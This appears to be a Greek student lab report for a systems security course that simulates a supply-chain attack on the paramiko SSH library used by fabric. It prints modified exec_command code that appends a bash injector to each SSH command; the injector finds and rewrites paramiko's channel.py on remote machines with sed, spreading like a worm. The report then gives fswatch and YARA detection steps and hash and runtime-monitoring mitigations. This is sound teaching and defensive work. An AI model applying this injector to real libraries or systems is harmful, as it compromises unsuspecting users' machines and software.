

Αναφορά Άσκησης 4 Ασφάλειας Συστημάτων και Υπηρεσιών

Μέλη:

Χρήστος Καδάς, Α.Μ: 2022030076

Κωνσταντίνος Κοντός, Α.Μ: 2022030116

Overview:

Στην παρούσα εργασία προσομοιώνουμε μια επίθεση τύπου Supply-Chain-Attack. Σε αυτό το σενάριο, υποδυθήκαμε το Red Team που κατάφερε να παραβιάσει μια βιβλιοθήκη, την paramiko, η οποία αποτελεί βασικό dependency του εργαλείου διαχείρισης συστημάτων fabric.

Ο στόχος της επίθεσης ήταν να εισάγουμε malware στον πηγαίο κώδικα του paramiko. Έτσι, όταν ένας ανυποψίαστος χρήστης χρησιμοποιεί το fabric για να συνδεθεί μέσω SSH, εκτελείται αυτόματα και ο δικός μας κώδικας.

Implementation:

Η επιλογή του στόχου βασίστηκε στην ανάλυση της αρχιτεκτονικής του Fabric και της εξάρτησής του από το Paramiko. Εντοπίσαμε ότι το Fabric δεν διαχειρίζεται το ίδιο τη σύνδεση SSH, αλλά λειτουργεί ως wrapper, περνώντας όλες τις εντολές στο Paramiko.

Επιλέξαμε να τροποποιήσουμε το αρχείο channel.py και τη μέθοδο exec_command. Αυτό είναι το χαμηλότερο επίπεδο εκτέλεσης, όπου κατασκευάζεται το message, εξασφαλίζοντας ότι η παρεμβολή μας θα λειτουργεί αόρατα για τον χρήστη.

Για την επίτευξη της επίθεσης, τροποποιήσαμε το αρχείο channel.py της βιβλιοθήκης paramiko. Συγκεκριμένα, παρεμβαίνουμε στη συνάρτηση exec_command, η οποία είναι υπεύθυνη για την αποστολή εντολών στον server.

Παρεμβαίνουμε στη συμβολοσειρά command πριν αυτή σταλεί στον server. Χρησιμοποιώντας τον διαχωριστή εντολών (;) και τοποθετούμε ένα δικό μας Bash script στην εντολή του χρήστη.

Αντί να στοχεύουμε συγκεκριμένο χρήστη, χρησιμοποιούμε τη μεταβλητή περιβάλλοντος \$HOME. Αυτό επιτρέπει στον "ιό" να λειτουργεί δυναμικά σε οποιοδήποτε μηχάνημα και με οποιονδήποτε χρήστη συνδεθούμε.

Χρησιμοποιούμε το εργαλείο sed για να τροποποιήσουμε το αρχείο channel.py στο δίσκο του θύματος. Εντοπίζουμε τον ορισμό της συνάρτησης (def exec_command) και τον αντικαθιστούμε με μια νέα έκδοση που περιέχει τον ιό (In-place substitution).

```

@open_only
def exec_command(self, command):
    """
    Execute a command on the server.
    """

    m = Message()
    m.add_byte(cMSG_CHANNEL_REQUEST)
    m.add_int(self.remote_chanid)
    m.add_string("exec")
    m.add_boolean(True)

    # 1. prepare the payload
    # We use \\\ (Triple Escape) for the inner quotes.

    search_str = "def exec_command(self, command):"
    replace_str = "def exec_command(self, command):\n command =\ncommand + \\\"; echo 'You are PWNEED!'\\\\""

    # 2. bash injector
    # $HOME will work on ANY user's machine

    bash_injector = f"""
        target=$(find $HOME -name "channel.py" 2>/dev/null | grep
"paramiko/channel.py" | head -n 1);
        if [ -n "$target" ]; then
            if grep -q "PWNEED" "$target"; then
                echo "DEBUG: Already infected.";
            else
                sed -i "s|{search_str}|{replace_str}|" "$target";
                echo "DEBUG: Injection successful.";
            fi;
        fi
    """

    # Clean up newlines to make it a valid one-liner
    clean_injector = bash_injector.replace("\n", " ")

    final_command = command + "; " + clean_injector + "; echo
"You are PWNEED!'"

    m.add_string(final_command)
    self._event_pending()
    self.transport._send_user_message(m)
    self._wait_for_event()

```

Το αποτέλεσμα στην καθαρή βιβλιοθήκη του θύματος (προσθήκη 3ης γραμμής):

```
@open_only
def exec_command(self, command):
    command = command + "; echo 'You are PWNEED!'"
    """
    Execute a...
```

fswatch:

fswatch command:

fswatch venv/lib/python3.12/site-packages/paramiko/channel.py >> alerts.log

alerts.log:

“/home/victim/venv/lib/python3.12/site-packages/paramiko/channel.py”

Yara:

yara rule:

```
rule Detect_PWNEED_Command_Injection
{
    meta:
        description = "Detects code that appends malicious command injection payload"

    strings:
        $cmd1 = "command = command + \"'; echo 'You are PWNEED!'\";"
        $cmd2 = "\"'; echo 'You are PWNEED!';" nocase
        $cmd3 = "You are PWNEED" nocase

    condition:
        any of ($cmd*)
}
```

yara command:

sudo yara yara_rules/rules.yar /home/victim/venv/lib/python3.12/site-packages/paramiko/

Detect_PWNEED_Command_Injection

/home/victim/venv/lib/python3.12/site-packages/paramiko/channel.py

Mitigation Strategies:

Όπως έχουμε αναφέρει και στην αίθουσα, το hash verification εξασφαλίζει ότι τα αρχεία και οι βιβλιοθήκες που χρησιμοποιεί ένα σύστημα δεν έχουν αλλοιωθεί, συγκρίνοντας το hash τους με ένα γνωστό και αξιόπιστο hash. Αν κάποιος έχει τροποποιήσει τον κώδικα, όπως το paramiko στο σενάριο της άσκησης, το hash αλλάζει και το σύστημα το εντοπίζει πριν επιτραπεί η εκτέλεση.

Αντίθετα, το runtime monitoring δεν ελέγχει το αρχείο πριν την εκτέλεση αλλά παρακολουθεί τη συμπεριφορά του προγράμματος όσο αυτό τρέχει. Αν ανιχνεύσει ασυνήθιστες ή μη εξουσιοδοτημένες ενέργειες, όπως την εκτέλεση shell εντολών που δεν υπήρχαν στον αρχικό κώδικα, προσπάθειες command injection ή ύποπτες κλήσεις συστήματος, μπορεί να καταγράψει το συμβάν, να ειδοποιήσει τον administrator ή να σταματήσει την εκτέλεση. Με αυτό τον τρόπο προστατεύει από επιθέσεις που συμβαίνουν δυναμικά, ακόμη και αν το αρχείο είχε περάσει τον αρχικό έλεγχο hash.